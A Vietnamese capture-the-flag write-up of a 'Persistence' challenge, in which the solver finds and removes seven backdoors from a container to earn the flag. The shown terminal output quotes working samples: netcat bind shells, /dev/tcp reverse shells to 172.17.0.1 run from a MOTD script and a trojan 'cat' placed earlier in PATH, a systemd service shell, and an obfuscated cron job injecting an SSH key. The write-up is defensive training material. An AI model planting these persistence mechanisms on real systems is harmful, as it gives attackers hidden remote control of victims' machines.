

1. Persistence

Flow giải bài:

SSH vào container

↓

/root/solveme → 7 persistence issues

↓

Cat /root/solveme → Lộ ra các path backdoor.

↓

Issue 1 → .bashrc chạy backdoor → Xóa dòng trong .bashrc, xóa file alertd

↓

Issue 2 → initiate-pyshell inject SSH key → Xóa pyshell và initiate-pyshell

↓

Issue 3 → SSH key backdoor → xóa key wuan@wuan

↓

Issue 4 → 30-connectivity-check → Payload connectivity-check → rev shell → xóa 2 file

↓

Issue 5 → system-healthcheck.service → disable và xóa service

↓

Issue 6 → /usr/local/sbin/cat → rev shell → xóa fake cat và dòng export PATH...trong .bashrc

↓

Issue 7 → backdoor user pacho → remove user

↓

Flag

PeRslsTeNcEeEeEe

by pachon

★ 991 5



Đang ngồi ctf thì thằng em mượn máy. Không biết nó đã làm gì máy mình chưa nhỉ!!

Mật khẩu kết nối: `bksec`

Container Instance

Running

Một container challenge với kết nối ssh, có vẻ “thằng em” đã tải xuống backdoors.

```
=====
Thanks for letting me use your pc bro!

I just needed it for a few minutes while
you were doing your CTF stuff.

Don't worry, I didn't touch anything... much 😊

See ya!

P.S. I did install some backdoors on this though XD. Run /root/solveme if you think you found them all

- Your little brother
=====
bksec@87952504bb01:~$ sudo /root/solveme
Issue 1 is NOT remediated
Issue 2 is NOT remediated
Issue 3 is NOT remediated
Issue 4 is NOT remediated
Issue 5 is NOT remediated
Issue 6 is NOT remediated
Issue 7 is NOT remediated

Keep looking! 0/7 issues fixed.
```

Em dùng cat /root/solveme nhưng vì đây là binary ELF nên khi cat sẽ ra rác, tuy nhiên vẫn lộ ra các path mà script check → tìm được 7 persistence cần xóa

```
/root/.bashrcalertd/usr/bin/alertd/etc/cron.daily/pyshell/lib/python3/dist-packages/initiate-pyshell/root/.ssh/authorize
d_keyswuan@wuan/var/lib/private/connectivity-check/etc/update-motd.d/30-connectivity-check/etc/systemd/system/system-hea
lthcheck.service/bin/systemctl is-enabled system-healthcheck.service 2>/dev/nullenabled/usr/local/sbin/cat/bin/grep -r '
/usr/local/sbin' /root/.bashrc /home/bksec/.bashrc 2>/dev/null | /bin/grep -v '#pachonologinThis script must be run as
root!Issue %d is fully remediated
```

Từ đó có thể đoán rằng các persistence là

1. /usr/bin/alertd
2. /etc/cron.daily/pyshell và /lib/python3/dist-packages/initiate-pyshell
3. /root/.ssh/authorized_keys
4. /etc/update-motd.d/30-connectivity-check
5. /etc/systemd/system/system-healthcheck.service
6. /usr/local/sbin/cat
7. User pachó

Em thực hiện fix lần lượt các issue, bắt đầu với issue 1

```
bksec@87952504bb01:~$ cat /usr/bin/alertd
#!/bin/bash
nc -e /bin/bash -lnp 4444
bksec@87952504bb01:~$ sudo rm /usr/bin/alertd
bksec@87952504bb01:~$ sudo /root/solveme
Issue 1 is NOT remediated
Issue 2 is NOT remediated
Issue 3 is NOT remediated
Issue 4 is NOT remediated
Issue 5 is NOT remediated
Issue 6 is NOT remediated
Issue 7 is NOT remediated

Keep looking! 0/7 issues fixed.
```

Tuy nhiên issue 1 vẫn chưa được fix, và từ kết quả của lệnh cat ở trên có

“/bin/grep -r '/usr/local/sbin' /root/.bashrc /home/bksec/.bashrc”, nên em đọc thử /root/.bashrc và có được

```
bksec@87952504bb01:~$ sudo cat /root/.bashrc | tail
# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
#if [ -f /etc/bash_completion ] && ! shopt -oq posix; then
#   . /etc/bash_completion
#fi

# System alert daemon
alertd -e /bin/bash -lnp 4444 &>/dev/null &
export PATH="/usr/local/sbin:$PATH"
```

Từ 2 dòng cuối, issue 1 còn là persistence trong .bashrc và được chạy backdoor. Xóa cả hai khỏi /root/.bashrc và fix được issue 1.

```
bksec@87952504bb01:~$ sudo sed -i '/alertd -e \bin\bash -lnp 4444/d' /root/.bashrc
bksec@87952504bb01:~$ sudo sed -i '/export PATH="\usr\local\sbin:\$PATH"/d' /root/.bashrc
bksec@87952504bb01:~$ sudo /root/solveme
Issue 1 is fully remediated
Issue 2 is NOT remediated
Issue 3 is NOT remediated
Issue 4 is NOT remediated
Issue 5 is NOT remediated
Issue 6 is NOT remediated
Issue 7 is NOT remediated

Keep looking! 1/7 issues fixed.
```

Tiếp với Issue 2 liên quan đến pyshell và initiate-pyshell, tiến hành đọc file và tìm thấy 2 chuỗi encode Base64, decode có được

```
bksec@87952504bb01:~$ sudo cat /etc/cron.daily/pyshell
#!/bin/sh

VER=$(python3 -c 'import sys; print(".".join(map(str, sys.version_info[:2])))')
MAJOR=$(echo $VER | cut -d'.' -f1)

if [ $MAJOR -ge 3 ]; then
    /lib/python3/dist-packages/initiate-pyshell
fi
bksec@87952504bb01:~$ sudo cat /lib/python3/dist-packages/initiate-pyshell
#!/bin/bash
KEY=$(echo "c3NoLWVkbWJ1MTkgQUFBQUMzTnphQzFsWkrJMU5URTUyY3l3ejVlVzlvZlZtME5DWjM5RVBEQTJDSkRxeDEg
d3VhbBk3dWwFuCg==" | base64 -d)
PATH=$(echo "L3Jvb3QvLnNzaC9hdXR0b3JpemVhX2tleXMK" | base64 -d)

/bin/grep -q "$KEY" "$PATH" || echo "$KEY" >> "$PATH"
bksec@87952504bb01:~$ echo c3NoLWVkbWJ1MTkgQUFBQUMzTnphQzFsWkrJMU5URTUyY3l3ejVlVzlvZlZtME5DWjM5RVBEQTJDSkRxeDEg
VBEQTJDSkRxeDEgd3VhbBk3dWwFuCg== | base64 -d
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHRdx5Rq5+Obq66cywz5KW9ofVm0NCZ39EPDA2CJDqx1 wuan@wuan
bksec@87952504bb01:~$ echo L3Jvb3QvLnNzaC9hdXR0b3JpemVhX2tleXMK | base64 -d
/root/.ssh/authorized_keys
bksec@87952504bb01:~$ |
```

Script initiate-pyshell decode SSH key, decode Path và thực hiện ghi SSH key vào /root/.ssh/authorized_keys. Nghĩa là issue 2 và issue 3 có liên quan tới nhau, xóa 2 file pyshell và initiate-pyshell, xóa thêm SSH key backdoor wuan@wuan → Fixed issue 2, issue 3

```
bksec@87952504bb01:~$ sudo rm /etc/cron.daily/pyshell
bksec@87952504bb01:~$ sudo rm /lib/python3/dist-packages/initiate-pyshell
bksec@87952504bb01:~$ sudo sed -i '/wuan@wuan/d' /root/.ssh/authorized_keys
bksec@87952504bb01:~$ sudo /root/solveme
Issue 1 is fully remediated
Issue 2 is fully remediated
Issue 3 is fully remediated
Issue 4 is NOT remediated
Issue 5 is NOT remediated
Issue 6 is NOT remediated
Issue 7 is NOT remediated

Keep looking! 3/7 issues fixed.
bksec@87952504bb01:~$ |
```

Ở issue 4, script check file trong đường dẫn /etc/update-motd.d/30-connectivity-check. Qua tìm hiểu thì update-motd.d là script chạy mỗi khi đăng nhập SSH để hiển thị MOTD (Message of the day) và thường được sử dụng để chạy payload khi user đăng nhập. Tiến hành xóa file và chạy lại /root/solveme nhưng có vẻ Issue vẫn chưa được fix.

```
bksec@87952504bb01:~$ sudo cat /etc/update-motd.d/30-connectivity-check
#!/bin/bash
/var/lib/private/connectivity-check &
bksec@87952504bb01:~$ sudo rm /etc/update-motd.d/30-connectivity-check
bksec@87952504bb01:~$ sudo /root/solveme
Issue 1 is fully remediated
Issue 2 is fully remediated
Issue 3 is fully remediated
Issue 4 is NOT remediated
Issue 5 is NOT remediated
Issue 6 is NOT remediated
Issue 7 is NOT remediated

Keep looking! 3/7 issues fixed.
```

Xem kỹ lại thì script MOTD vẫn còn payload, và persistence thực sự nằm ở /var/lib/private/connectivity-check. Kiểm tra và xóa file để fix issue 4.

Qua lệnh cat thì connectivity-check mới là payload thực sự, một reverse shell kết nối tới địa chỉ IP 172.17.0.1:443 qua TCP.

```
bksec@17916bc0cb4a:~$ sudo cat /var/lib/private/connectivity-check
#!/bin/bash
while true; do
    bash -i >& /dev/tcp/172.17.0.1/443 0>&1 2>/dev/null
    sleep 60
done
bksec@17916bc0cb4a:~$ sudo rm /var/lib/private/connectivity-check
bksec@17916bc0cb4a:~$ sudo /root/solveme
Issue 1 is fully remediated
Issue 2 is fully remediated
Issue 3 is fully remediated
Issue 4 is fully remediated
Issue 5 is NOT remediated
Issue 6 is NOT remediated
Issue 7 is NOT remediated

Keep looking! 4/7 issues fixed.
bksec@17916bc0cb4a:~$ |
```

Issue 5 liên quan tới service healthcheck.service, dùng lại lệnh strings với /root/solveme em nhận thấy service này vừa phải bị disable và bị xóa.


```
/etc/systemd/system/system-healthcheck.service  
/bin/systemctl is-enabled system-healthcheck.service 2>/dev/null
```

Kiểm tra và phát hiện máy mở backdoor shell tại port 8080, tiến hành xóa file, disable và fix được issue 5.

```
bksec@17916bc0cb4a:~$ sudo cat /etc/systemd/system/system-healthcheck.service  
[Unit]  
Description=System Health Check Service  
After=network.target  
  
[Service]  
Type=simple  
ExecStart=/bin/bash -c 'while true; do nc -e /bin/bash -lp 8080 2>/dev/null; sleep 5; done'  
Restart=always  
RestartSec=10  
  
[Install]  
WantedBy=multi-user.target  
bksec@17916bc0cb4a:~$ sudo systemctl disable system-healthcheck.service  
Removed /etc/systemd/system/multi-user.target.wants/system-healthcheck.service.  
bksec@17916bc0cb4a:~$ sudo rm /etc/systemd/system/system-healthcheck.service  
bksec@17916bc0cb4a:~$ sudo /root/solveme  
Issue 1 is fully remediated  
Issue 2 is fully remediated  
Issue 3 is fully remediated  
Issue 4 is fully remediated  
Issue 5 is fully remediated  
Issue 6 is NOT remediated  
Issue 7 is NOT remediated  
  
Keep looking! 5/7 issues fixed.
```

Để fix issue 6, trong /root/.bashrc lúc đầu có dòng “export PATH="/usr/local/sbin:\$PATH"”

→ Linux sẽ ưu tiên chạy trong /sbin trước /bin nên “thằng em” đã đặt cat tại đường dẫn /sbin, và khi user sử dụng lệnh cat... thì thực ra đang chạy backdoor cat chứ không phải /bin/cat.

Kiểm tra và xóa file

```
bksec@17916bc0cb4a:~$ sudo cat /usr/local/sbin/cat  
#!/bin/bash  
# Silently open reverse shell in background  
(bash -i >& /dev/tcp/172.17.0.1/9001 0>&1 2>/dev/null &) 2>/dev/null  
# Execute real cat to avoid suspicion  
/bin/cat "$@"  
bksec@17916bc0cb4a:~$ sudo rm /usr/local/sbin/cat  
bksec@17916bc0cb4a:~$ sudo /root/solveme  
Issue 1 is fully remediated  
Issue 2 is fully remediated  
Issue 3 is fully remediated  
Issue 4 is fully remediated  
Issue 5 is fully remediated  
Issue 6 is NOT remediated  
Issue 7 is NOT remediated  
  
Keep looking! 5/7 issues fixed.
```

Như vậy mỗi khi user gọi cat, script mở shell về IP 172.17.0.1:9001 và gọi /bin/cat “\$@” như thường để “avoid suspicion”. Nhưng sau khi xóa issue 6 vẫn chưa được fix, vì checker còn kiểm tra trong /home/bksec/.bashrc (trước đó em mới xóa trong /root/.bashrc).

```
bksec@17916bc0cb4a:~$ sudo cat /home/bksec/.bashrc | tail
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
  if [ -f /usr/share/bash-completion/bash_completion ]; then
    . /usr/share/bash-completion/bash_completion
  elif [ -f /etc/bash_completion ]; then
    . /etc/bash_completion
  fi
fi
export PATH="/usr/local/sbin:$PATH"
```

Xóa nốt dòng cuối trong .bashrc và fix được issue 6.

```
bksec@17916bc0cb4a:~$ sudo sed -i '/\usr\local\sbin/d' /home/bksec/.bashrc
bksec@17916bc0cb4a:~$ sudo /root/solveme
Issue 1 is fully remediated
Issue 2 is fully remediated
Issue 3 is fully remediated
Issue 4 is fully remediated
Issue 5 is fully remediated
Issue 6 is fully remediated
Issue 7 is NOT remediated

Keep looking! 6/7 issues fixed.
bksec@17916bc0cb4a:~$
```

Issue cuối cùng đề cập với user pacho. Qua lệnh strings /root/solveme, script check xem user pacho có tồn tại trong hệ thống không. Kiểm tra user và phát hiện có. Xóa user và fix được issue 7. Từ đó có được flag của bài.

```
bksec@17916bc0cb4a:~$ cat /etc/passwd | grep pacho
pacho:x:1001:0::/home/pacho:/bin/bash
bksec@17916bc0cb4a:~$ sudo userdel -r pacho
userdel: group pacho not removed because it is not the primary group of user pacho.
userdel: pacho mail spool (/var/mail/pacho) not found
bksec@17916bc0cb4a:~$ sudo /root/solveme
Issue 1 is fully remediated
Issue 2 is fully remediated
Issue 3 is fully remediated
Issue 4 is fully remediated
Issue 5 is fully remediated
Issue 6 is fully remediated
Issue 7 is fully remediated

Congrats: BKSEC{unkn0wn_backd00rs_overlo4d1nggg_a332c43cc2d06c26}
```

➔ Flag: BKSEC{unkn0wn_backd00rs_overlo4d1nggg_a332c43cc2d06c26}